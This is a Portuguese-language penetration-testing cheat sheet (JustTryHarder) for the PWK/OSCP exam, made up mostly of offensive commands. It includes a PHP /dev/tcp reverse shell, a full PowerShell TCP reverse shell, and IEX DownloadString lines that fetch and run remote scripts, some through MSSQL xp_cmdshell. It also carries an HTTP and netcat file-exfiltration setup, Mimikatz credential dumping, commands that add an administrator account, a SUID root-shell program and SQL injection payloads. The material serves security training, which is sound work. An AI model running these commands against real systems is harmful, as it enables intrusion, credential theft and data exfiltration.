
Folha de dicas abrangente de testes de penetração para preparação para o exame PWK/OSCP, cobrindo escalonamento de privilégios, quebra de senhas, geração de payloads, pós-exploração, varredura de portas, ataques web e técnicas de reconhecimento.
JustTryHarder é uma folha de dicas que te ajudará durante o curso PWK e o exame OSCP.
(Inspirado por PayloadAllTheThings)
Sinta-se à vontade para enviar um Pull Request e deixar uma estrela para mostrar apreço se isso te ajudou. 💖
Amigável para Hacktoberfest! Sim, aceitamos Pull Requests para o Hacktoberfest! Por favor, certifique-se de que não é spam e que contribui de forma genuína para este repositório. Obrigado e feliz hackeamento!
Aviso: Nada abaixo inclui spoilers dos laboratórios PWK / exame OSCP.
Obtive grande parte dessas informações através de outros repositórios do Github, blogs, sites e mais. Tentei dar o máximo de crédito possível ao criador original. Se não lhe dei crédito, por favor entre em contato comigo no Twitter: https://twitter.com/s1nfulz
ping 10.10.10.110 PING 10.10.10.110 (10.10.10.110) 56(84) bytes of data. 64 bytes from 10.10.10.110: icmp_seq=1 ttl=128 time=166 ms
O `TTL` pode ser usado para determinar o SO do host. Os três tipos diferentes de TTL são mostrados abaixo:
- **TTL=64** = \*nix - O contador de saltos; então, se você está obtendo 61, existem 3 saltos e é um dispositivo \*nix. Muito provavelmente Linux.
- **TTL=128** = Windows - Novamente, se o TTL é 127, então o salto é 1 e é uma máquina Windows.
- **TTL=254** = Solaris/AIX - Se o TTL é 250, então o contador de saltos é 4 e é uma máquina Solaris.
## BOF (WIP)
(Caracteres ruins típicos incluem: `0x00`, `0x0A`, `0x0D`)
- Fuzzing
- Encontrando a posição do EIP
- Encontrando caracteres ruins
- Localizando `jmp esp`
- Gerando payload com `msfvenom`
- Obtendo reverse shell com `netcat`
**Bons recursos de BOF:**
- [NCC Group - Escrevendo Exploits para Win32](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2016/june/writing-exploits-for-win32-systems-from-scratch/)
- [Corelan - Tutorial de Escrita de Exploit Parte 1](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)
- [GitHub - dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood)
- [VeteranSec - Buffer Overflows de 32 bits do Windows Simplificados](https://veteransec.com/2018/09/10/32-bit-windows-buffer-overflows-made-easy/)
## Breakouts / Escapes de Ambiente
- [Pentest Partners - Saindo do Citrix](https://www.pentestpartners.com/security-blog/breaking-out-of-citrix-and-other-restricted-desktop-environments/)
- [SRA.io - Breakout do SiteKiosk](https://sra.io/blog/sitekiosk-breakout/)
- [TrustedSec - Teclas de Breakout de Kiosk/POS](https://www.trustedsec.com/blog/kioskpos-breakout-keys-in-windows/)
- [Cognosec - Saindo do Ambiente Citrix](https://cognosec.com/breaking-out-of-citrix-environment/)
- [NetSPI - Saindo de Aplicações](https://blog.netspi.com/breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks/)
- [NCC Group - Problemas Comuns com Breakouts de Ambiente (PDF)](https://research.nccgroup.com/wp-content/uploads/2020/07/research-insights_common-issues-with-environment-breakouts.pdf)
- [GracefulSecurity - Breakout do Citrix](https://gracefulsecurity.com/citrix-breakout/)
## DNS - Transferências de Zona```bash
host -t axfr HTB.local 10.10.10.10
host -l HTB.local 10.10.10.10
host -l <domain name> <name server>
dig @<dns server> <domain> axfr
```
## Transferências de Arquivos
### Transferência SMB
Na máquina vítima (Windows):```cmd
net share \\10.10.10.10\myshare
net use x:
copy whatever.zip x:
```
### Transferência Wget
Como recuperar arquivo(s) do host (dentro de um shell reverso).
**Configuração:** Coloque o arquivo que deseja transferir em `/var/www/html/` e execute `service apache2 start`.
Execute no servidor remoto:```bash
wget [http://10.10.10.10/pspy64](http://10.10.10.10/pspy64) # <- for single file
wget -r [http://10.10.10.10/pspy64/](http://10.10.10.10/pspy64/) # <- for folder
```
### Transferência TFTP
(Como transferir do Kali para o Windows).
**Usando MSF:**
Inicie o MSF antes destes passos:
1. `use auxiliary/server/tftp`
2. `set TFTPROOT /usr/share/mimikatz/Win32/`
3. `run`
**Dentro de um terminal:**
4\. `tftp -i 10.10.10.10 GET mimikatz.exe`
### NetCat (Windows para Kali)
1. **Windows:** `nc -nv 10.11.0.61 4444 < bank-account.zip`
2. **Linux:** `nc -nlvp 4444 > bank-account.zip`
### PowerShell
Sessão interativa:```powershell
Invoke-WebRequest -Uri [http://127.0.0.1/exploit.py](http://127.0.0.1/exploit.py) -OutFile C:\Users\Victim\exploit.py
```
Sem uma sessão interativa do PowerShell (Crie `wget.ps1`):```powershell
$client = New-Object System.Net.WebClient
$path = "C:\path\to\save\file.txt"
$client.DownloadFile($url, $path)
```
### Base64 (Linux -\> Linux)
**Host Local:**
1. `$(echo "cat /path/to/exploit.py | base64") > encoded.b64`
2. Transfira o `encoded.b64` para o servidor remoto via `nc` ou outro método.
**Servidor Remoto - Linux:**
3. `cat /path/to/encoded.b64 | base64 -d > exploit.py`
### Certutil```cmd
certutil.exe -urlcache -split -f "[http://ip.for.kali.box/file-to-get.zip](http://ip.for.kali.box/file-to-get.zip)" name-to-save-as.zip
```
### Upload de Arquivo HTTP (Exfiltração)
**1. Crie upload.php**
Crie na raiz web da máquina atacante (`/var/www/html` por padrão).```php
<?php
$uploaddir = '/var/www/uploads/';
$uploadfile = $uploaddir . $_FILES['file']['name'];
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>
```
**2. Criar diretório**
Crie o diretório de upload e defina as permissões apropriadas para permitir o upload.```bash
sudo mkdir /var/www/uploads && sudo chown www-data:www-data /var/www/uploads
```
**3. Enviar arquivo**
Enviar arquivo da máquina vítima para a máquina atacante usando PowerShell:```powershell
powershell.exe -exec unrestricted -noprofile -Command "(New-Object System.Net.WebClient).UploadFile('[http://10.10.10.10/upload.php](http://10.10.10.10/upload.php)', 'file-to-upload.txt')"
```
## Kerberoasting
- `GetUserSPNs.py -request -dc-ip <DC_IP> <domain\user>`
- `powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1');Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat`
- `impacket-secretsdump -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER> -outputfile filename.hashes`
## LFI / RFI
**PHP Reverse Shell:**```php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10/1234 0>&1'"); ?>
```
**Command Injection:**```php
<?php echo shell_exec(whoami);?>
```
## MSSQL / SQLi
- `EXEC master..xp_cmdshell 'whoami';`
- `' exec master..xp_cmdshell 'whoami' --`
- [OSCP-2 SQL Injection Cheatsheet](https://github.com/codingo/OSCP-2/blob/master/Documents/SQL%20Injection%20Cheatsheet.md)
- [PentestMonkey SQL Injection](http://pentestmonkey.net/category/cheat-sheet/sql-injection)
## Quebra de Senhas
**Hashcat**```bash
hashcat -m 500 -a 0 -o cracked_password.txt --force hash.txt /path/to/your/wordlist.txt
```
**John The Ripper**```bash
john --rules --wordlist=/path/to/your/wordlist.txt hash.txt
```
## Spray de Senhas (CrackMapExec)```bash
cme smb 10.10.10.10 -u username -d domain -p password
```
## Geração de Payloads
- [NETSEC - Criando Payloads](https://netsec.ws/?p=331)
- [MsfVenom Folha de Dicas](https://www.google.com/search?q=http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/_)
- [Metasploit Unleashed Payloads](https://www.offensive-security.com/metasploit-unleashed/payloads/)
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings)
**Tipos:**
- Non-staged: `netcat`
- Staged: `multi/handler`
## PHP
- [As diferenças entre exec(), shell\_exec, system() e passthru()](https://stackoverflow.com/questions/20072696/what-is-different-between-exec-shell-exec-system-and-passthru-functions?lq=1)
## Escalação de Privilégios - Linux
**Nota:** Se GCC & wget estiverem instalados, o sistema PODE estar vulnerável a um exploit de kernel.
- [Linux Kernel Exploits](https://github.com/SecWiki/linux-kernel-exploits)
- [GTFObins - Escapar de shells restritos](https://gtfobins.github.io)
- Script auxiliar do GTFO: [https://github.com/dreadnaughtsec/gtfo](https://github.com/dreadnaughtsec/gtfo)
- [Linux Exploit Suggester](https://github.com/InteliSecureLabs/Linux_Exploit_Suggester)
- [Linux Exploit Suggester 2](https://github.com/jondonas/linux-exploit-suggester-2)
- [Escalação Básica de Privilégios no Linux](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
**Comandos de Enumeração:**```bash
grep -Ri 'password' .
find / -perm –4000 2>/dev/null
find / -perm -u=s 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
which awk perl python ruby gcc cc vi vim nmap find netcat nc wget tftp ftp 2>/dev/null
# (then ls -la, look for 777 file permissions)
```
**Binário SUID personalizado:** Requer execução de código como o usuário alvo. Exemplo: mysql sys\_eval como root.```c
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>
int main(){
setuid(geteuid());
system("/bin/bash");
return 0;
}
```
## Priv Esc - Windows
- [Fundamentos de Elevação de Privilégios no Windows](http://www.fuzzysecurity.com/tutorials/16.html)
- [Guia de Elevação de Privilégios no Windows](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
- [PowerUp / PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc)
- [Powerless - Ferramenta de Enumeração](https://github.com/M4ximuss/Powerless)
- [Workshop de Elevação de Privilégios Local](https://github.com/sagishahar/lpeworkshop)
- [Apenas Mais um Script (Enum) do Windows / JAWS](https://github.com/411Hall/JAWS)
- [Watson](https://github.com/rasta-mouse/Watson)
- [Sherlock (Descontinuado)](https://github.com/rasta-mouse/Sherlock)
- [Windows Exploit Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester)
**Comandos:**
- `churrasco -d "net user /add <username> <password>"`
- `churrasco -d "net localgroup administrators <username> /add"`
- `churrasco -d "NET LOCALGROUP "Remote Desktop Users" <username> /ADD"`
## Pós-Exploração
1. `Mimikatz.exe` (execute-o)
2. `privilege::debug`
3. `sekurlsa::logonpasswords`
## Encaminhamento de Portas
> **Local:** Encaminha a porta local para o host remoto.
> Use o modo local se você tiver um serviço executando em uma máquina que pode ser alcançada a partir da máquina remota, e você quiser acessá-lo diretamente a partir da máquina local.
>
> **Remoto:** Encaminha a porta remota para o host local.
> Use o modo remoto se você tiver um serviço que pode ser alcançado a partir da máquina local, e você precisar disponibilizá-lo para a máquina remota. Ele abre o socket de escuta na máquina em que você fez login via SSH.
>
> **Dinâmico:** Use SOCKS.
> O modo dinâmico é como o local, mas no lado do cliente ele se comporta como um proxy SOCKS. Use-o se precisar se conectar com um software que espera encaminhamento SOCKS.
### Chisel
**Sistema local:**```bash
./chisel server -p 8080 --reverse
```
**Vítima:**```bash
./chisel client YOUR_IP:8080 R:1234:127.0.0.1:1234
```
### SSH
1. **Gerar um par de chaves SSH** na máquina usada como pivô para proteger suas credenciais.
<!-- end list -->```bash
ssh-keygen
cat ~/.ssh/id_rsa.pub
```
2. **Copie a chave pública**. Adicione este valor e o endereço IP da máquina pivô ao arquivo `~/.ssh/authorized_keys` na sua máquina atacante (Kali) usando a sintaxe abaixo.
<!-- end list -->```
from="[VICTIM_MACHINE_IP_ADDRESS]",command="echo 'This account can only be used for port forwarding'",no-agent-forwarding,no-X11-forwarding,no-pty [PUBLIC_KEY_VALUE]
```
3. **Certifique-se de que o serviço SSH está em execução** na sua máquina atacante (Kali).
<!-- end list -->```bash
sudo service ssh start
```
4. **Iniciar chamada SSH** a partir do host que está sendo usado como pivô e especificar a chave privada `id_rsa` gerada no passo 1.
<!-- end list -->```bash
ssh -f -N -R 1080 -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -i /[PATH_TO_YOUR_PRIVATE_KEY]/id_rsa kali@[ATTACKING_MACHINE_IP]
```
5. **Edite sua configuração do proxychains**: `/etc/proxychains.conf`
<!-- end list -->```
socks4 127.0.0.1 1080
```
6. **Execute proxychains**. Ao escanear com `nmap`, certifique-se de usar TCP Connect scans.
<!-- end list -->```bash
sudo proxychains nmap -sT -p80 -sC -sV --open -Pn -n 10.10.10.10
```
**Notas Adicionais:**
- `ssh [email protected] -R 1234:127.0.0.1:1234`
- `ssh -D 1337 -q -C -N -f [email protected]` ([Fonte](https://ma.ttias.be/socks-proxy-linux-ssh-bypass-content-filters))
## Socks Proxy (usando PowerShell)
**Local:**
- `vi /etc/proxychains.conf` -> `socks5 <ip> 9080`
- `Import-Module .\Invoke-SocksProxy.psm1`
- `Invoke-SocksProxy -bindPort 9080`
- `proxychains nmap -sT <ip>`
## Port Scanning
### TCP```bash
reconnoitre -t 10.10.10.10 -o . --services --quick --hostnames
nmap -vvv -sC -sV -p- --min-rate 2000 10.10.10.10
nmap -sT -p 22,80,110 -A
nmap -p- -iL ips.txt > TCP_Ports.txt
nc -v -n -z -w1 10.10.10.10 1-10000
nmap -p- -iL ips.txt > AllTCPPorts.txt
```
### UDP
(Pode levar horas, `netstat` é uma alternativa melhor se você tiver shell).```bash
nmap -sU --top-ports 10000
nmap -sT -sU -p 22,80,110 -A
nmap -sT -sU -p- --min-rate 2000
nmap -p- -sU -iL ips.txt > udp.txt
nmap -sU -sV -iL ips.txt > alludpports.txt
```
### Outros Protocolos
**SNMP:**
`nmap -p161 -sU -iL ips.txt > udp.txt`
**SSH:**
`nmap --script ssh2-enum-algos -iL ips.txt > SSH.txt`
**SSL:**
`nmap -v -v --script ssl-cert,ssl-enum-ciphers,ssl-heartbleed,ssl-poodle,sslv2 -iL ips.txt > SSLScan.txt`
**Relatório de Bootstrap do NMAP:**```bash
nmap -oA poison --stylesheet nmap-bootstrap.xsl 10.10.10.10
firefox nmap-bootstrap.xsl
```
## Varredura de Ping
### Linux (Comandos de uma linha)```bash
for i in {1..254} ;do (ping -c 1 192.168.1.$i | grep "bytes from" &) ;done
fping -g 192.168.0.1/24
```
### Linux (Script)```bash
for i in `seq 1 255`
do
ping -c1 192.168.125.$i 2>/dev/null 1>&2
if [[ $? -eq 0 ]]
then
echo 192.168.125.$i is up
fi
done
```
### Windows (CMD)```cmd
for /L %i in (1,1,255) do @ping -n 1 -w 200 192.168.1.%i > nul && echo 192.168.1.%i is up.
```
### Windows (PowerShell)```powershell
$ping = New-Object System.Net.Networkinformation.Ping ; 1..254 | % { $ping.send("10.9.15.$_", 1) | where status -ne 'TimedOut' | select Address | fl * }
```
### Nmap```bash
nmap -sP 192.168.0.1-254
```
## Pivotagem
- `sshuttle -r [email protected] 10.1.1.0/24`
## Área de Trabalho Remota
- `rdesktop -u user -p password 10.10.10.10 -g 85% -r disk:share=/root/`
- `xfreerdp /d:xyz.local /u:username /p:password /v:10.10.10.10 /cert-ignore`
## Responder
- `responder -I tun0 -wrF`
- [Responder com NTLM Relay e Empire](https://chryzsh.gitbooks.io/darthsidious/content/execution/responder-with-ntlm-relay-and-empire.html)
- [Guia Prático de NTLM Relaying](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)
## Shells Reversas
**Linux:**
- [PentestMonkey - Folha de Dicas de Shell Reverso](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
- [Awansec - Shell Reverso](https://awansec.com/reverse-shell.html)
- [RevShells.com](https://www.revshells.com/)
**Windows:**
- [GitHub - Shell Reverso PHP para Windows](https://github.com/Dhayalanb/windows-php-reverse-shell)
- `nc 10.10.10.10 4444 –e cmd.exe`
## Melhoria de Shell
Fonte: [Ropnop Blog](https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/) & [HTB Forum](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)
### Python
1. `python -c 'import pty;spawn("/bin/bash");'` OR `python3 -c 'import pty;spawn("/bin/bash");'`
2. No shell reverso:
<!-- end list -->```bash
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
```
3. No Kali:
<!-- end list -->```bash
stty raw -echo
fg
```
4. Em reverse shell:
<!-- end list -->```bash
reset # (sometimes optional)
export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols> # (optional)
```
### Usando o Socat
**Ouvinte:**```bash
socat file:`tty`,raw,echo=0 tcp-listen:4444
```
**Vítima:**```bash
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```
### Perl
1. `perl -e 'exec "/bin/sh";'`
2. `perl: exec "/bin/sh";`
### Bash
`/bin/sh -i`
## Injeção SQL (SQLmap)```bash
sqlmap -u "[http://example.com/test.php?test=test](http://example.com/test.php?test=test)" --level=5 --risk=3 --batch
```
## Mostrar portas de escuta
**Linux netstat:**
`netstat -tulpn | grep LISTEN`
**FreeBSD/MacOS X netstat:**
`netstat -anp tcp | grep LISTEN`
`netstat -anp udp | grep LISTEN`
**OpenBSD netstat:**
`netstat -na -f inet | grep LISTEN`
`netstat -nat | grep LISTEN`
**Varredura Nmap:**
`sudo nmap -sT -O localhost`
`sudo nmap -sU -O 192.168.2.13` (UDP)
`sudo nmap -sT -O 192.168.2.13` (TCP)
## SMB - Enumeração
- [0xdf - Checklist de Enumeração SMB](https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html)
- `smbmap -H 10.10.10.10`
- `smbclient -L 10.0.0.10`
- `smbclient //10.10.10.10/share$`
## SMB - Impacket
**PSEXEC do Impacket** (Após criar um encaminhamento de porta remota):```bash
/usr/share/doc/python-impacket/examples/psexec.py [email protected]
# Password: (password)
# [*] Trying protocol 445/SMB...
```
**Impacket's SMBServer** (Para Transferência de Arquivos):
1. `cd /usr/share/windows-binaries`
2. `python /usr/share/doc/python-impacket/examples/smbserver.py a .`
3. `\\10.10.10.10\a\mimikatz.exe`
## SMTP Enumeração
- [Comandos SMTP](https://github.com/s0wr0b1ndef/OSCP-note/blob/master/ENUMERATION/SMTP/smtp_commands.txt)
## Injeção ICMP
1. `ping -n 3 10.10.10.10`
2. `tcpdump -i tun0 icmp`
## VMware (não em tela cheia)
`systemctl restart open-vm-tools.service`
## Servidores Web
- `python -m SimpleHTTPServer 80`
- `python3 -m http.server 80`
- `ngrok http "file:///C:\Users\sinfulz\Public Folder"`
- `php -S 0.0.0.0:80`
## Varredura Web
**GoBuster (Linux/Apache):**```bash
gobuster dir -e -u [http://10.10.10.10/](http://10.10.10.10/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,jsp,pl -s 200,204,301,302,307,403,401
```
**GoBuster (Windows/IIS):**```bash
gobuster dir -e -u [http://10.10.10.10/](http://10.10.10.10/) -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,asp,aspx,jsp,bak -s 200,204,301,302,307,403,401
```
**Dirsearch (Linux/Apache):**```bash
python3 dirsearch.py -r -u [http://10.10.10.131/](http://10.10.10.131/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,jsp,pl -t 50
```
**Dirsearch (Windows/IIS):**```bash
python3 dirsearch.py -r -u [http://10.10.10.131/](http://10.10.10.131/) -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e php,html,js,txt,asp,aspx,jsp,bak -t 50
```
**Outros GoBuster:**
- HTTP: `gobuster dir -u http://10.10.10.10 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html,txt -t 69`
- HTTPS: `gobuster dir -k -u https://10.10.10.10/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 69`
**Nikto:**
- HTTP: `nikto -h 10.10.10.10 -p 80`
- HTTPS: `nikto -h 10.10.10.10 -p 443`
**WFuzz:**```bash
wfuzz -u [http://10.10.10.10/hello.php?dir=../../../../../../../../../FUZZ%00](http://10.10.10.10/hello.php?dir=../../../../../../../../../FUZZ%00) -w /usr/share/wfuzz/wordlist/general/common.txt
```
## Shells Web
- [PHPBash](https://github.com/Arrexel/phpbash)
- [p0wny-shell](https://github.com/flozz/p0wny-shell)
## WordPress
- [Top Hat Sec - WP](https://forum.top-hat-sec.com/index.php?topic=5758.0)
## Windows Framework / Powershell
**Contornar a política de execução do PowerShell:**```powershell
powershell -ExecutionPolicy ByPass -File script.ps1
```
**Recursos:**
- [Nishang](https://github.com/samratashok/nishang)
- [Sherlock](https://github.com/rasta-mouse/Sherlock)
**PowerShell Reverso:**
(Às vezes, powershell ou echo podem precisar estar na frente da string, ou aspas usadas).```powershell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.1.3.40',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
```
**PowerUp (a partir do servidor web local):**```powershell
echo IEX(New-Object Net.WebClient).DownloadString('[http://10.10.10.10:80/PowerUp.ps1](http://10.10.10.10:80/PowerUp.ps1)') | powershell -noprofile -
```
ou```powershell
powershell -nop -exec bypass IEX "(New-Object Net.WebClient).DownloadString('[http://10.10.14.](http://10.10.14.)x/Whatever.ps1'); Invoke-Whatever"
```
**PowerShell reverso usando MSSQL:**```sql
xp_cmdshell powershell IEX(New-Object Net.WebClient).downloadstring(\"[http://10.10.10.10/Nishang-ReverseShell.ps1](http://10.10.10.10/Nishang-ReverseShell.ps1)\")
```
**Transferência de arquivos com PowerShell:**```powershell
powershell -c IEX(New-Object Net.WebClient).DownloadFile('http://server/path/to/file', 'nameforefile')
```
## Comandos de Pós-Exploração do Windows```cmd
WMIC USERACCOUNT LIST BRIEF
net user
net localgroup Users
net localgroup Administrators
net user USERNAME NEWPASS /add
net user "USER NAME" NEWPASS /add
net localgroup administrators USERNAME /add
```
## Diretórios Grav?veis
### Windows
(Fonte: [UltimateAppLockerByPassList](https://github.com/api0cradle/UltimateAppLockerByPassList/blob/master/Generic-AppLockerbypasses.md))
As seguintes pastas são, por padrão, grav?veis por usuários normais (varia conforme a versão do SO).```
C:\Windows\Tasks
C:\Windows\Temp
C:\windows\tracing
C:\Windows\Registration\CRMLog
C:\Windows\System32\FxsTmp
C:\Windows\System32\com\dmp
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\System32\Tasks_Migrated
C:\Windows\SysWOW64\FxsTmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\SyncCenter
C:\Windows\SysWOW64\Tasks\Microsoft\Windows\PLA\System
```
### Linux
Para encontrar Diretórios com permissão de escrita para todos no Linux:```bash
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
```
## Lista de Tarefas:
- [ ] Melhorar a legibilidade da cheatsheet
- [ ] Preencher as secções vazias
- [ ] Remover secções desnecessárias
- [ ] Integrar os ficheiros do repositório na cheatsheet
- [ ] Migrar para o GitBook
- [ ] Incluir screenshots/gifs na cheatsheet se necessário
- [ ] Adicionar um Índice
## Agradecimentos:
Agradecimentos a estas pessoas por incluírem a minha cheatsheet nos seus sites/blogs:
- [KhaoticDev Cheatsheets](https://khaoticdev.net/cheatsheets/#collections)
- [NCyberSec Facebook Post](https://www.facebook.com/ncybersec/posts/1541830509321001)
- [CyberG0100 Facebook Post](https://www.facebook.com/cyberg0100/posts/github-sinfulzjusttryharder-justtryharder-a-cheat-sheet-which-will-aid-you-throu/653235345249466)
- [r/CyberSpaceVN Reddit Post](https://www.reddit.com/r/CyberSpaceVN/comments/f3n2wp/github_sinfulzjusttryharder_justtryharder_a_cheat)
- [XN4K PWK Cheatsheet](https://xn4k.github.io/pentest/PWK-course-&-the-OSCP-Exam-Cheatsheet/)
- [OpenSourceLibs Pentesting Tools](https://opensourcelibs.com/libs/pentesting-tools)
- [GitMemory (brhannah)](https://gitmemory.com/brhannah)
- [BugBountyTips Blog](https://www.bugbountytips.tech/2020/08/23/justtryharderpwk-cheatsheetkali-linux-cheatsheethydra-cheatsheetsecu-2/)
- [PythonLang OSCP Category](https://pythonlang.dev/category/oscp/)